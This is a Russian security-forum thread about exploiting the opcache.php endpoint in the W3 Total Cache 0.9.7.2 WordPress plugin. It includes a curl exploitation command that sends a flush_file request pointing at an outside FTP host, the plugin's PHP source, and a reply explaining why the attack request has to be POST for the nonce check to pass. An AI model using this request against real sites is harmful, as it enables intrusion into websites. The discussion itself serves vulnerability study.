• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

Почему именно POST?

Raskolnikov

Green Team
30.07.2017
67
21
BIT
0
Есть уязвимость
Я взял версию 0.9.7.2
Эксплуатация:
Bash:
curl 'http://x.x.x.x/wp-content/plugins/w3-total-cache/pub/opcache.php' --data 'nonce=974ca6ad15021a6668e7ae02e1be551c&command=flush_file&file=ftp://y.y.y.y:zzzz/'

Исходник opcache.php
PHP:
<?php
/**
 * W3 Total Cache OPcache
 */

if ( !defined( 'ABSPATH' ) ) {
    if ( file_exists( dirname( __FILE__ ) . '/../../../../wp-load.php' ) ) {
        require_once dirname( __FILE__ ) . '/../../../../wp-load.php';
    }
    else {
        require_once dirname( __FILE__ ) . '/../../w3tc-wp-loader.php';
    }
}

if ( !defined( 'W3TC_DIR' ) ) {
    define( 'W3TC_DIR', WP_PLUGIN_DIR . '/w3-total-cache' );
}

if ( !@is_dir( W3TC_DIR ) || !file_exists( W3TC_DIR . '/w3-total-cache-api.php' ) ) {
    @header( 'X-Robots-Tag: noarchive, noodp, nosnippet' );
    echo sprintf( '<strong>W3 Total Cache Error:</strong> some files appear to be missing or out of place. Please re-install plugin or remove <strong>%s</strong>.<br />', dirname( __FILE__ ) );
}



$command = \W3TC\Util_Request::get_string( 'command' );
$nonce = \W3TC\Util_Request::get_string( 'nonce' );
$uri = $_SERVER['REQUEST_URI'];
if ( hash_equals( wp_hash( $uri ), $nonce ) ) {
    /**
     *
     *
     * @var $w3_cache W3_CacheFlush
     */
    $w3_cache = \W3TC\Dispatcher::component( 'CacheFlush' );
    $result = false;
    switch ( $command ) {
    case 'flush':
        $result = $w3_cache->opcache_flush();
        break;
    case 'flush_file':
        $file = \W3TC\Util_Request::get_string( 'file' );
        $result = $w3_cache->opcache_flush_file( $file );
        break;
    }
    if ( $result ) {
        header( $_SERVER["SERVER_PROTOCOL"] . " 200 OK" );
        die( 'Success' );
    } else {
        header( $_SERVER["SERVER_PROTOCOL"] . " 500 OK" );
        die( $command . ' could not be executed' );
    }

} else {
    header( $_SERVER["SERVER_PROTOCOL"] . " 401" );
    die( "Unauthorized access. " );
}

Видим, что есть вызов класса Util_Request
PHP:
<?php
namespace W3TC;

/**
 * W3 Request object
 */

/**
 * class Request
 */
class Util_Request {
    /**
     * Returns request value
     *
     * @param string  $key
     * @param mixed   $default
     * @return mixed
     */
    static function get( $key, $default = null ) {
        $request = Util_Request::get_request();

        if ( isset( $request[$key] ) ) {
            $value = $request[$key];

            if ( defined( 'TEMPLATEPATH' ) || get_magic_quotes_gpc() ) {
                $value = Util_Environment::stripslashes( $value );
            }

            return $value;
        }

        return $default;
    }

    /**
     * Returns string value
     *
     * @param string  $key
     * @param string  $default
     * @param boolean $trim
     * @return string
     */
    static function get_string( $key, $default = '', $trim = true ) {
        $value = (string) Util_Request::get( $key, $default );

        return ( $trim ) ? trim( $value ) : $value;
    }

    /**
     * Returns integer value
     *
     * @param string  $key
     * @param integer $default
     * @return integer
     */
    static function get_integer( $key, $default = 0 ) {
        return (integer) Util_Request::get( $key, $default );
    }

    /**
     * Returns double value
     *
     * @param string  $key
     * @param double|float $default
     * @return double
     */
    static function get_double( $key, $default = 0. ) {
        return (double) Util_Request::get( $key, $default );
    }

    /**
     * Returns boolean value
     *
     * @param string  $key
     * @param boolean $default
     * @return boolean
     */
    static function get_boolean( $key, $default = false ) {
        return Util_Environment::to_boolean( Util_Request::get( $key, $default ) );
    }

    /**
     * Returns array value
     *
     * @param string  $key
     * @param array   $default
     * @return array
     */
    static function get_array( $key, $default = array() ) {
        $value = Util_Request::get( $key );

        if ( is_array( $value ) ) {
            return $value;
        } elseif ( $value != '' ) {
            return preg_split( "/[\r\n,;]+/", trim( $value ) );
        }

        return $default;
    }

    /**
     * Returns array value
     *
     * @param string  $prefix
     * @param array   $default
     * @return array
     */
    static function get_as_array( $prefix, $default = array() ) {
        $request = Util_Request::get_request();
        $array = array();
        foreach ( $request as $key => $value ) {
            if ( strpos( $key, $prefix ) === 0 || strpos( $key, str_replace( '.', '_', $prefix ) ) === 0 ) {
                $array[substr( $key, strlen( $prefix ) )] = $value;
            }
        }
        return $array;
    }

    /**
     * Returns request array
     *
     * @return array
     */
    static function get_request() {
        if ( !isset( $_GET ) ) {
            $_GET = array();
        }

        if ( !isset( $_POST ) ) {
            $_POST = array();
        }

        return array_merge( $_GET, $_POST );
    }
}

В php не разбираюсь, но почему файл opcache.php принимает данные именно из post запроса, судя по исходникам вроде можно и get отправить или я ошибаюсь?
 

n3d.b0y

Red Team
19.01.2018
181
472
BIT
77
Все верно ты можешь использовать как GET так и POST запрос параметры буду приняты в независимости от метода. Но есть но если ты будешь использовать GET то проверка по хешу ты не пройдешь в этом месте hash_equals( wp_hash( $uri ), $nonce ) так как url будет wp-content/plugins/w3-total-cache/pub/opcache.php?nonce=974ca6ad15021a6668e7ae02e1be551c&command=flush_file&file=ftp://y.y.y.y:zzzz/ а надо что бы был wp-content/plugins/w3-total-cache/pub/opcache.php
 
Последнее редактирование:
  • Нравится
Реакции: Raskolnikov
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!